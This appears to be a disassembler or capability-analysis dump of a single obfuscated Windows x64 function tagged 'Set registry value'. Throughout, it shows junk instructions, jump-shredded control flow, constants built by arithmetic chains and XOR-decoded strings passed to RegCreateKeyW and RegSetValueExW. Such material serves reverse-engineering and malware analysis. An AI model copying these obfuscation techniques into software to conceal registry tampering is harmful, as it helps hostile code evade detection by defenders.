Function at 0x140046110
Capabilities:
Set registry value

Disassembly:
xchg rsp, rax
mov rsp, rax
xchg rsp, rax
xchg rbx, rdi
mov qword [rax + 0x18], rdi
xchg rdi, rbx
nop
jmp 0x140046230
ja 0x140046795
mov dword [rsp - 0x28], ebp
lea rax, [rcx + rdi]
mov qword [rsi + 0x10], rax
xchg r15, rsi
mov rsi, r15
xchg r15, rsi
jmp 0x140046272
xchg rdi, rdi
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
mov r9, r9
jmp 0x1400461df
xchg r8, rdx
mov qword [rsp + 0x30], rcx
xchg r10, r10
jmp 0x140046513
xor dword [rbp - 0x18], 0x56953484
mov dword [rbp - 0x14], 0x1c2908c7
sub dword [rbp - 0x14], 0x19c65ebd
xor dword [rbp - 0x14], 0x1e52317e
jmp 0x140046360
movq qword [rdx + 8], xmm3
sub ecx, 0xfffffff8
lea rdx, [rdx + 0x10]
xchg rbx, rbx
cmp ecx, 0x20
jl 0x1400465b0
cmp ecx, 0x23
jmp 0x1400462d1
xchg rbx, rbx
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140046147
mov qword [rsp - 8], r14
sub rsp, 8
push r15
mov rdi, rdi
jmp 0x1400464a7
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
pxor xmm3, xmm0
mov dword [rsp - 0x28], 0x2dbf22ab
jmp 0x140046197
xchg r13, r13
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14010d830]
movups xmmword [rbp - 0x80], xmm1
xchg rsp, rsp
jmp 0x1400465d3
movaps xmmword [r11 - 0x58], xmm7
xchg r11, rax
movaps xmmword [rax - 0x68], xmm8
mov dword [rsp - 0x18], ecx
xchg r8, rax
movaps xmmword [r8 - 0x78], xmm9
jmp 0x140046659
mov qword [rsp - 8], rbp
sub rsp, 8
push rsi
mov dword [rsp - 0x14], ebx
push rsi
mov qword [rsp], rdi
push r12
jmp 0x140046403
xor dword [rbp - 0x18], 0x3f7e51eb
sub dword [rbp - 0x18], 0x1816d8f
sub dword [rbp - 0x18], 0x1407fb
xor dword [rbp - 0x18], 0x5f851b3d
xor dword [rbp - 0x18], 0x7c4b5283
jmp 0x140046176
cmp rdx, 8
jb 0x14004628d
xchg r9, r9
jmp 0x140046284
xchg r15, rcx
mov rcx, qword [rsi]
xchg rcx, r15
lea r8, [rcx + rcx]
xchg rdx, rdx
lea rax, [rsp + 0x50]
lea rax, [rax + rdi*2]
jmp 0x140046429
mov rdx, rax
xchg rdx, rsi
movups xmm0, xmmword [0x14010d800]
jmp 0x140046480
lea eax, [rcx + 4]
mov dword [rsp - 0x38], 0x1f3028f5
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x140046571
jge 0x140046540
mov dword [rsp - 0x40], edi
movsxd rax, ecx
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
jmp 0x14004632d
jne 0x1400463f2
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
xchg rbp, rbp
sub rax, rcx
cmp rdi, rax
jmp 0x140046127
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x10], ebx
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x1400466a4
mov eax, 0x37abcd83
xor eax, 0x369d1fce
xor eax, 0x32931a2d
sub eax, 0x1281d530
sub eax, 0x1a7ded0f
jmp 0x140046443
mov dword [rsp - 0x30], ecx
add edx, ecx
sar edx, 1
sar edx, 4
mov eax, edx
shr eax, 0x10
jmp 0x1400464c2
add dword [rbp - 0x14], 0x4279ca5
add dword [rbp - 0x14], 0xe0bd214
add dword [rbp - 0x14], 0x403f1c0a
sub dword [rbp - 0x14], 0x679722d1
add dword [rbp - 0x14], 0x32f837dd
jmp 0x140046416
xor word [r8], ax
xchg r14, r14
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x23
jl 0x14004632d
xchg r12, r12
jmp 0x140046540
movdqa xmm4, xmmword [0x14010d8d0]
movd xmm6, r15d
movdqa xmm7, xmmword [str.8888]
movd xmm8, eax
mov dword [rsp - 0x20], 0x6af31082
movdqa xmm9, xmmword [0x14010c2f0]
jmp 0x1400465ab
sub rdi, 0xcf2dd1d
sub rdi, 0x5a3af927
add rdi, 0x7fffffff
xor rdi, 0x7eae1dc4
inc rdi
cmp word [rax + rdi*2], r14w
mov dword [rsp - 0x14], esi
jmp 0x1400462ec
mov dword [rsp - 0x40], esp
nop
sub rsp, 8
mov qword [rsp], r13
nop
jmp 0x1400461cc
xor dword [rbp - 0x14], 0x3a043b40
lea rdx, [rbp + 0x10]
xchg r12, rcx
jmp 0x1400465f7
cmp rax, r15
jbe 0x140046707
mov r15, r15
lea rax, [r15 + r8]
lea rcx, [rsp + 0x50]
jmp 0x1400466c9
add eax, 0x756f99b3
xor eax, 0x4aa7c824
add eax, 0x5b96cca3
imul ecx
jmp 0x14004634b
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
mov dword [rsp - 0x40], 0x32723550
pxor xmm3, xmm0
movq qword [rdx], xmm3
jmp 0x1400462b4
mov rsi, rsi
xchg r11, rsp
movups xmmword [r11 + 0x50], xmm0
xchg r11, rsp
movups xmm1, xmmword [0x14010d810]
jmp 0x14004661f
nop
lea rdx, [rbp - 0x60]
xchg rcx, r9
jmp 0x14004652d
lea rbp, [rsp - 0x80]
sub rsp, 0x180
movaps xmmword [rax - 0x48], xmm6
mov dword [rsp - 0x10], esi
xchg r11, rax
jmp 0x140046214
shr eax, 0xc
shr eax, 2
shr eax, 1
add edx, eax
mov dword [rsp - 0x34], 0x6d7e8d18
movzx eax, dx
jmp 0x1400466ed
mov rsi, rsi
lea rax, [rsp + 0x50]
xchg r9, r15
jmp 0x14004660a
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [rsp - 0x38], 0x7d2e6c46
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400461b7
mov dword [rbp - 0x18], 0x4a9757ee
xor dword [rbp - 0x18], 0x2f50a0f1
sub dword [rbp - 0x18], 0x1c3953f1
jmp 0x14004624a
mov r9, r12
xchg rcx, r9
call fcn.140042150
xchg rdx, rsi
jmp 0x1400462a2
lea rax, [rsp + 0x50]
nop
movabs rdi, 0xffffffff09de8798
xor rdi, 0x6834ddae
xor rdi, 0x74f8bf3d
add rdi, 0x5a9b323b
sub rdi, 0x72e5ec6
jmp 0x1400463d6
movdqa xmm1, xmm2
xchg r15, r15
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
mov rdi, rdi
punpckhdq xmm0, xmm2
jmp 0x1400464ec
cmp r13d, 2
jl 0x1400462db
movdqa xmm5, xmmword [0x14010c2c0]
mov rsp, rsp
jmp 0x1400463a6
lea rdx, [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x1c], 0x1dcc4a85
jmp 0x14004630b
xchg r9, rax
xchg r8, rdx
mov r12, r8
jmp 0x140046166
mov eax, dword [0x14010d840]
mov dword [rbp - 0x70], eax
movzx eax, word [0x14010d844]
mov word [rbp - 0x6c], ax
mov dword [rsp - 0x20], 0x749bf469
xor r14d, r14d
jmp 0x14004663a
mov r12, rcx
xchg rcx, r12
call fcn.1400a2220
mov r12, r12
jmp 0x14004649a
mov r14, r9
xchg r15, r9
sub r14, rax
mov dword [rsp - 0x28], ebx
sar r14, 1
jmp 0x140046710
mov dword [rsp - 0xc], ebp
xchg r11, rsp
movups xmmword [r11 + 0x60], xmm1
xchg r11, rsp
movups xmm0, xmmword [0x14010d820]
jmp 0x1400461f9
mov ecx, r14d
lea eax, [r14 + 0x1f]
lea r15d, [r14 + 5]
mov dword [rsp - 0x20], 0x2e1836ba
mov r13d, dword [0x140248200]
jmp 0x140046591
xchg r8, rax
mov rax, qword [0x140248220]
xchg rdx, rdx
xor rax, rsp
xchg r9, rax
mov qword [rbp + 0x30], r9
jmp 0x1400465c6
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x20], 0x195cf83a
jmp 0x140046689
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov r12, r12
jmp 0x140046459
mov r8, r8
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [rsp - 0x10], 0x2d0bdf05
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140046673
cmp rcx, rax
ja 0x140046707
mov dword [rsp - 0x3c], 0x76961340
lea rax, [rsp + 0x50]
cmp r15, rax
jbe 0x140046710
jmp 0x1400464dc
imul edx, eax, 0x38
movzx eax, cx
sub ax, dx
mov dword [rsp - 0x1c], edi
add ax, 0x2109
sub ax, 0x20d7
jmp 0x140046388
xchg r10, rdi
mov r14, r10
xchg r10, rdi
lea rcx, [r15 + rdi*2]
add r8, 2
xchg rdx, r15
jmp 0x140046778
call fcn.1400deed0
lea rcx, [rbx + r15]
xchg rdi, r13
mov r8, r13
xchg r13, rdi
sub r8, r14
add r8, r8
jmp 0x140046759
lea rdx, [rsp + 0x50]
mov r13, r13
mov rcx, r15
jmp 0x140046720
xor r14d, r14d
lea r15d, [r14 + 5]
jmp 0x1400467f4
mov dword [rsp - 0x30], edi
lea rax, [r14 + rdi]
lea rdx, [rsp + 0x50]
lea rdx, [rdx + rax*2]
mov dword [rsp - 0x28], ebp
call fcn.1400deed0
jmp 0x14004674d
mov r15, rdx
xchg r15, rdx
call fcn.1400deed0
lea rbx, [r14 + r14]
xchg rbp, r8
mov rbp, rbx
xchg r8, rbp
jmp 0x14004673d
xchg r12, rdi
mov qword [rsp + 0x28], r12
xchg r12, rdi
lea rax, [rsp + 0x50]
mov dword [rsp - 0x10], 0x21cc5cef
xchg r9, rax
jmp 0x1400467b4
mov qword [rsp + 0x20], r9
xchg r9, rax
xor r9d, r9d
xor r8d, r8d
mov dword [rsp - 0x1c], 0x662a21eb
xchg rdi, rdx
jmp 0x14004688f
mov dword [rsp - 0xc], esp
cmp rbx, rax
je 0x1400468c1
xchg r11, rcx
mov r11, rbx
xchg r11, rcx
call fcn.140042dd0
jmp 0x14004680d
mov rsi, rax
xchg rsi, rdi
movups xmm6, xmmword [rdi]
xchg rsi, rdi
xchg rbp, r14
movups xmmword [r14 - 0x40], xmm6
xchg rbp, r14
jmp 0x14004684b
xchg rdi, rdi
movups xmmword [rbx], xmm6
xchg rbx, rsi
movups xmmword [rsi + 0x10], xmm7
xchg rsi, rbx
jmp 0x14004695f
movups xmmword [r10 - 0x30], xmm7
xchg rbp, r10
mov qword [rsi + 0x10], r14
mov dword [rsp - 0x14], 0x31c0bfa9
mov qword [rsi + 0x18], 0x6aa3076c
sub qword [rsi + 0x18], 0x14625028
jmp 0x14004685e
xchg rsi, r9
movups xmm7, xmmword [r9 + 0x10]
xchg r9, rsi
xchg rbp, r10
jmp 0x140046822
xor qword [rsi + 0x18], 0x14ee797c
sub qword [rsi + 0x18], 0x3f042d4
xor qword [rsi + 0x18], 0x25bac379
add qword [rsi + 0x18], 0x4c05aec
xor qword [rsi + 0x18], 0x1fc4a30e
mov word [rsi], r14w
jmp 0x1400468ac
mov rdi, rdx
xchg rdi, rdx
xchg rcx, r13
mov r13, rsi
xchg r13, rcx
call fcn.140041850
mov dword [rsp - 0x30], edi
jmp 0x1400467f1
xchg rdx, rdx
mov rbx, qword [rsp + 0x30]
sub rbx, 0xfffffffffffffff8
lea rax, [rbp - 0x40]
jmp 0x1400467d1
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14004695f
mov dword [rsp - 0x24], 0x584b9ab1
jmp 0x14004699c
xor rcx, 0x4ca4e4c0
xor rcx, 0x7e549dda
xor rcx, 0x4a8648fa
jmp 0x140046a0d
cmp qword [rbx + 0x18], 8
jb 0x14004696c
mov rbx, qword [rbx]
jmp 0x140046968
xchg rsp, rcx
cmp rdx, 0x1000
jb 0x140046956
mov dword [rsp - 0x38], esp
add rdx, 0x27
mov rcx, qword [rcx - 8]
jmp 0x140046989
neg rax
add rax, 8
neg rax
cmp rax, 0x1f
ja 0x1400474f8
call fcn.1400dcd18
mov dword [rsp - 0x3c], 0x55927db4
jmp 0x1400468f6
ja 0x1400474f2
call fcn.1400dcd18
nop
mov r10, r10
mov rdx, qword [rbp - 0x48]
jmp 0x140046a36
mov dword [rsp - 0x38], ebp
lea r8, [rbp - 0x20]
xchg rbx, rdx
mov rbx, rdx
xchg rbx, rdx
nop
movabs rcx, 0xffffffff1c10ce89
jmp 0x1400468dc
sub rax, rcx
sub rax, 8
mov r13, r13
cmp rax, 0x1f
jmp 0x140046950
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
xchg rcx, rsp
mov rax, rsp
jmp 0x140046909
sub ebx, 0x1e103411
xor ebx, 0xf59de1fe
jmp 0x1400474db
add ebx, 0x1a3e1303
sub ebx, 0x48ede5f6
xor ebx, 0x4758dfac
add ebx, 0x39da5f
sub ebx, 0x31e9e0cb
xor ebx, 0x660ff29e
jmp 0x1400469b3
mov r10, qword [rbp - 0x60]
xchg r10, rcx
xchg rbx, rax
mov rbx, rcx
xchg rbx, rax
cmp rdx, 0x1000
jb 0x14004693e
jmp 0x140046a53
add rcx, 0x2365522
add rcx, 0x1962ab77
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x140046a79
mov rsi, rsi
mov ebx, 0x4eb9067e
jmp 0x1400469c4
cmp rdx, 8
jb 0x1400468f6
lea rdx, [rdx*2 + 2]
xchg rbx, rbx
xchg rcx, r10
jmp 0x1400469ed
xchg r12, r12
nop
add rdx, 0x4e7386f5
sub rdx, 0x4e7386ce
mov rcx, qword [rcx - 8]
mov dword [rsp - 0x34], 0x7942d47e
sub rax, rcx
jmp 0x14004692a
lea rdx, [rbp - 0x60]
xchg rdi, rcx
mov rdi, r12
xchg rdi, rcx
call fcn.140042150
nop
mov dword [rsp - 0x10], 0x55f34c05
jmp 0x140047234
shr eax, 1
add edx, eax
mov dword [rsp - 0x44], 0x21f18897
jmp 0x140046f02
test eax, eax
jne 0x140047285
mov dword [rsp - 0x10], 0x687f15c5
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, r14d
jmp 0x1400472f7
call fcn.1400dcd18
lea r11, [rbp - 0x10]
xchg r9, r9
cmp qword [rbp + 8], 0x10
jmp 0x140046d46
cmp rdx, 8
jb 0x140046ad1
xchg r11, r11
jmp 0x140046f7c
mov r8d, r14d
cmp r13d, 2
jl 0x14004702d
mov dword [rsp - 0x3c], ecx
jmp 0x140046c7d
mov rdx, qword [rbp - 0x20]
xchg rdx, rcx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140047285
jmp 0x140046e46
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.8888]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
jmp 0x140047058
add r8d, 0x82ad8c4
add r8d, 0x49023616
xor r8d, 0x262ed1f7
xor r8d, 0xcca8b78
xor r8d, 0x2aac06c0
jmp 0x140047026
movsd qword [rcx + 0x30], xmm0
xchg rsp, rcx
mov eax, dword [0x14010d888]
mov dword [rsp + 0x38], eax
mov rdi, rdi
cmp word [0x14010d88a], 0
je 0x140047097
jmp 0x140046ff1
add eax, 0x4e053d47
imul r8d
xchg r15, r15
jmp 0x14004706a
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
xchg r11, r11
jne 0x140047285
jmp 0x140046c12
add eax, 0x1f4d6ca9
xor eax, 0x5257a357
xor eax, 0x3283b437
mov word [rsp + 0x30], ax
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
jmp 0x140047082
sub r9d, 0x59b9abcb
sub r9d, 0x15e705e8
xor r9d, 0x60c33046
xor r9d, 0x634293fb
add r9d, 0x124ec086
xor r9d, 0x5475d39f
jmp 0x140046d08
mov eax, dword [rbp + 0x20]
lea edx, [rax + rax]
xchg r9, r9
jmp 0x140046dea
add r10, rax
mov r11, r11
nop word [rax + rax]
mov eax, 0x3cd920a9
add eax, 0xde21d33
xor eax, 0x471e1306
add eax, 0x2859b272
jmp 0x14004726c
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
mov dword [rsp - 0x14], ecx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x140046aaa
xor r9d, 0x77c2ac59
xor r9d, 0x330b0f8
xor r9d, 0x40be37c7
xor r8d, r8d
xchg r13, r13
jmp 0x140046b9f
movdqa xmm4, xmmword [0x14010d8d0]
movd xmm6, r15d
mov eax, 0x4d8f442
add eax, 0x22bbb2b5
xor eax, 0x411436bb
jmp 0x140046f16
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [0x14010d868]
mov dword [rsp + 0x40], eax
mov dword [rsp - 0x14], 0x30842cb4
cmp word [0x14010d86a], 0
je 0x140046ea7
jmp 0x140046ebf
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
xchg r14, r14
paddd xmm1, xmm3
jmp 0x140046fdd
lea r9d, [rcx - 0x50]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov dword [rsp - 0x28], 0x515aae9f
xchg rcx, r13
mov r13, qword [rbp - 0x20]
xchg r13, rcx
jmp 0x140047005
sub r9d, 0x100f221f
sub r9d, 0x6631035e
xor r8d, r8d
lea rdx, [rsp + 0x30]
xchg rbx, rbx
xchg rcx, rdx
jmp 0x140046b0a
sub r9d, 0x3b4b59bc
add r9d, 0x59497f86
sub r9d, 0x7ca72c14
xor r8d, r8d
jmp 0x140046c45
cmovae r11, qword [rbp - 0x10]
movsd xmm0, qword [str.vZGEZVAw_VY]
xchg rsp, rdx
movsd qword [rdx + 0x30], xmm0
jmp 0x140046f90
mov r9, r9
mov word [rsp + 0x38], ax
mov dword [rsp + 0x28], 0x3b8d4a6b
add dword [rsp + 0x28], 0x361530d1
sub dword [rsp + 0x28], 0x5a6b8fed
add dword [rsp + 0x28], 0x1b563204
add dword [rsp + 0x28], 0x3541d9db
jmp 0x140047177
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [rsp - 0x3c], 0x122dd540
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
jmp 0x140046fb2
add dword [rsp + 0x28], 0x1575794
sub dword [rsp + 0x28], 0x39268b94
add dword [rsp + 0x28], 0x13206bd2
sub dword [rsp + 0x28], 0x664ff11
xor dword [rsp + 0x28], 0x4bd82a67
lea rax, [rbp - 0x14]
mov r12, r12
jmp 0x140046e21
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rcx, qword [rbp + 0x10]
movups xmm0, xmmword [str.URSgYMR_]
xchg rdi, rdi
jmp 0x140046c9e
xor word [rsp + 0x3e], 0x39
xor word [rsp + 0x40], 0x3a
xchg rbx, rbx
xor word [rsp + 0x42], 0x3b
jmp 0x140046ea7
mov qword [rsp + 0x20], rax
mov r9d, 0x64774b8b
xor r9d, 0x87b67c9
sub r9d, 0x27ef236c
add r9d, 0x1a8bfd78
jmp 0x140046d29
xchg r12, r12
movsd xmm0, qword [str.fJDP6]
xchg rsp, rcx
movsd qword [rcx + 0x30], xmm0
xchg rsp, rcx
movzx eax, word [0x14010d878]
jmp 0x140046f68
mov qword [rsp + 0x20], r11
mov r10, r10
mov r9d, 0x156a658f
add r9d, 0x73199ee
add r9d, 0x4b081570
xor r9d, 0x53e83f8a
jmp 0x140046c5d
sub ecx, 0x17af32df
sub ecx, 0xcd59b2f
xor ecx, 0x322df4e5
jmp 0x140046f2f
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rcx
mov dword [rsp - 0x3c], edi
mov r9d, 0x7c07479a
jmp 0x140046be3
mov eax, 0x1fdb5310
xor eax, 0x55c43ec
add eax, 0x2278afbd
sub eax, 0x29274e9c
sub eax, 0x661614e
add eax, 0xb470fe5
sub eax, 0x18be206b
jmp 0x140047199
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x24], ebx
pmuldq xmm0, xmm4
jmp 0x140046d95
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
xchg rsi, rsi
sub al, cl
jmp 0x14004712d
sub eax, 0x477c5e57
sub eax, 0x55feef1
xor eax, 0x7ffe8dce
sub eax, 0x665aceab
jmp 0x1400470ed
add ecx, 0x4df327e8
xor ecx, 0x7e3e3a5a
mov word [rsp + 0x30], cx
mov dword [rsp - 0x30], 0x620aff3a
jmp 0x140046f4d
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
xor ax, 0x36
jmp 0x140046d60
mov dword [rsp - 0x3c], ecx
mov ecx, 0x4818ab48
xor ecx, 0x6ef31f99
jmp 0x140046e90
lea rdx, [rdx*2 + 2]
xchg rcx, rsp
mov rsp, qword [rbp - 0x60]
jmp 0x1400471ef
xchg rdx, rsp
mov eax, dword [0x14010d850]
mov dword [rsp + 0x38], eax
cmp byte [0x14010d853], 0
xchg rbp, rbp
je 0x14004704c
jmp 0x140046af4
mov dword [rsp - 0x30], 0x41acc26e
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.8888]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
xchg rcx, rcx
pshufhw xmm1, xmm0, 0xd8
jmp 0x140047242
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
xchg rsp, rsp
jmp 0x140046b24
mov eax, 0x35e5f13a
sub eax, 0x145f338d
add eax, 0x1fffecdd
jmp 0x140046bbe
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xchg r12, r12
test eax, eax
jne 0x140047285
movsd xmm0, qword [str.aGUGB7]
xchg rsp, rcx
jmp 0x140046b67
xor r8d, 0x6e985953
mov eax, r8d
lea r10, [rsp + 0x30]
jmp 0x140046c20
cmp r8d, 0xc
jl 0x140046c2c
mov dword [rsp - 0x20], 0x58b5cd68
mov eax, dword [rbp]
mov dword [rsp + 0x28], eax
jmp 0x140046e68
xchg rsi, rsi
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x14004710a
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0xc
shr eax, 0xd
shr eax, 4
shr eax, 1
jmp 0x140046a99
xchg r14, r14
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
xor word [rsp + 0x3a], 0x37
mov dword [rsp + 0x28], 0x76ebf1a2
jmp 0x140046db6
movdqa xmm3, xmmword [0x14010c2d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
mov dword [rsp - 0x40], 0x5428669d
jmp 0x140046cc8
pxor xmm2, xmm0
mov dword [rsp - 0x44], ebx
movd dword [rsp + 0x34], xmm2
mov r8d, 0x4face423
sub r8d, 0x256bb5cc
sub r8d, 0xc9e381d
jmp 0x140046b3f
movd xmm5, eax
movdqa xmm2, xmmword [0x14010c2c0]
movdqa xmm1, xmm2
mov dword [rsp - 0x44], edx
punpckldq xmm1, xmm2
jmp 0x140046ee7
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x44], edx
paddb xmm2, xmmword [0x14010c310]
movd xmm0, dword [rsp + 0x34]
jmp 0x1400470c6
sub al, 0xce
xor byte [r10], al
mov dword [rsp - 0x40], ecx
inc r8d
lea r10, [r10 + 1]
jmp 0x14004703a
xor word [rsp + 0x3a], 0x37
mov dword [rsp - 0x20], 0x296656d4
xor word [rsp + 0x3c], 0x38
jmp 0x140046e07
nop
add rdx, 0x274971f9
sub rdx, 0x274971d2
mov rcx, qword [rcx - 8]
mov dword [rsp - 0x2c], esp
jmp 0x14004720d
sub dword [rsp + 0x28], 0x2acf9eb1
sub dword [rsp + 0x28], 0x3cff5879
lea rax, [rbp - 0x18]
mov dword [rsp - 0x20], edx
mov qword [rsp + 0x20], rax
jmp 0x140046ce5
mov word [rsp + 0x30], ax
xor word [rsp + 0x32], 0x33
mov dword [rsp - 0x40], esi
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
jmp 0x140047142
pxor xmm2, xmm0
movd dword [rsp + 0x30], xmm2
mov dword [rsp - 0x10], 0x1ffaba75
jmp 0x1400470a4
xchg rdx, r13
lea rcx, [rbp - 0x10]
call fcn.1400a9450
nop
xchg r11, r11
mov rdx, qword [rbp - 0x48]
jmp 0x140046ae2
xchg rcx, rsp
xchg r9, rcx
mov rax, r9
xchg rcx, r9
cmp rdx, 0x1000
jb 0x140046acc
jmp 0x14004715b
sub rax, rcx
nop
add rax, 0xffffffff8ce36516
sub rax, 0xffffffff8ce3651e
cmp rax, 0x1f
mov dword [rsp - 0x44], 0x48a379ff
ja 0x140047510
jmp 0x140046acc
xor r8d, r8d
xchg rdx, r13
mov r13, rax
jmp 0x1400471d6
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x2c], ebx
paddb xmm2, xmmword [0x14010c310]
movd xmm0, dword [str.vZGEZVAw_VY]
jmp 0x1400471bf
xor eax, 0x447f42da
sub eax, 0x464025c0
sub eax, 0x2300e0b9
add eax, 0x3c034a2f
jmp 0x140046b8f
mov ebx, 0x59ac9b32
add ebx, 0x1ee26b3d
sub ebx, 0x14f1b211
jmp 0x1400473ae
add rdx, 0xffffffffffffffd9
neg rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
jmp 0x140047437
cmp rdx, 0x1000
mov r12, r12
jb 0x1400473e0
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
mov rcx, qword [rcx - 8]
jmp 0x1400473ea
mov dword [rsp - 0x18], esi
xchg rsi, r11
movaps xmm6, xmmword [rsi - 0x10]
xchg rsi, r11
xchg r15, r11
jmp 0x140047375
add ebx, 0xd2623a6
add ebx, 0x83ad805a
xchg r9, rdx
mov r9, qword [rbp + 8]
xchg rdx, r9
cmp rdx, 0x10
jmp 0x14004730a
jb 0x140047449
inc rdx
xchg rbp, rbp
jmp 0x14004734c
xor qword [rbp + 8], 0x5e514fc4
mov byte [rbp - 0x10], 0x76
sub byte [rbp - 0x10], 0x17
xor byte [rbp - 0x10], 0x1d
xor byte [rbp - 0x10], 0x2a
jmp 0x1400474cb
add rsp, 8
nop
mov r13, qword [rsp]
add rsp, 8
pop r12
jmp 0x14004736b
xchg rcx, r9
mov r9, qword [rbp - 0x10]
xchg r9, rcx
xchg rcx, rdx
jmp 0x1400474b0
mov rsi, qword [rsp]
add rsp, 8
pop rbp
xchg r13, r13
ret
pop rdi
mov rsi, rsi
nop
jmp 0x14004735e
movaps xmm7, xmmword [r15 - 0x20]
xchg r15, r11
movaps xmm8, xmmword [r11 - 0x30]
jmp 0x14004749a
mov eax, ebx
mov rcx, qword [rbp + 0x30]
mov dword [rsp - 0x10], 0x4e9b0ebe
xor rcx, rsp
call fcn.1400dce30
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x50]
jmp 0x1400472d5
sub ebx, 0x2daa9334
sub ebx, 0x2229d630
add ebx, 0x634c3676
xor ebx, 0x58397c3d
jmp 0x1400472eb
neg rax
cmp rax, 0x1f
ja 0x1400474e4
mov dword [rsp - 0x2c], 0x3bc38b87
call fcn.1400dcd18
jmp 0x140047387
xchg r8, r8
sub rax, rcx
neg rax
add rax, 8
jmp 0x1400473cb
xchg rdi, rdi
mov qword [rbp + 8], 0x4135245a
sub qword [rbp + 8], 0x29017145
jmp 0x140047452
xchg r14, rax
mov r14, rcx
xchg r14, rax
jmp 0x1400472b2
xchg rsp, rdi
nop
add rsp, 8
mov r15, qword [rsp - 8]
nop
mov r14, qword [rsp]
jmp 0x140047338
mov rsi, rsi
cmp rax, 0x1f
ja 0x140047509
call fcn.1400dcd18
mov qword [rbp], r14
jmp 0x1400473fc
add qword [rbp + 8], 0x1579d9ce
xor qword [rbp + 8], 0x4b080120
sub qword [rbp + 8], 0x8543df8
jmp 0x14004731b
mov dword [rsp - 0x40], 0x7e892efa
cmp rdx, 8
jb 0x140047387
lea rdx, [rdx*2 + 2]
mov dword [rsp - 0x10], 0x164af722
mov rcx, qword [rbp + 0x10]
jmp 0x140047414
xchg r15, r11
movaps xmm9, xmmword [r15 - 0x40]
xchg r11, r15
xchg rdi, rsp
mov rdi, r11
jmp 0x140047420
mov rax, rdx
xchg rdx, rcx
cmp rdx, 0x1000
jb 0x140047444
neg rdx
jmp 0x14004729b
sub byte [rbp - 0x10], 9
sub byte [rbp - 0x10], 0x3e
xor byte [rbp - 0x10], 0x24
sub byte [rbp - 0x10], 5
mov rdx, qword [rbp + 0x28]
jmp 0x14004746f
call fcn.1400e39cc
mov rdx, rdx
nop
jmp 0x1400474f2
call fcn.1400e39cc
nop
call fcn.1400e39cc
xchg rsp, rsp
jmp 0x14004750f
call fcn.1400e39cc
int3
int3
call fcn.1400e39cc
int3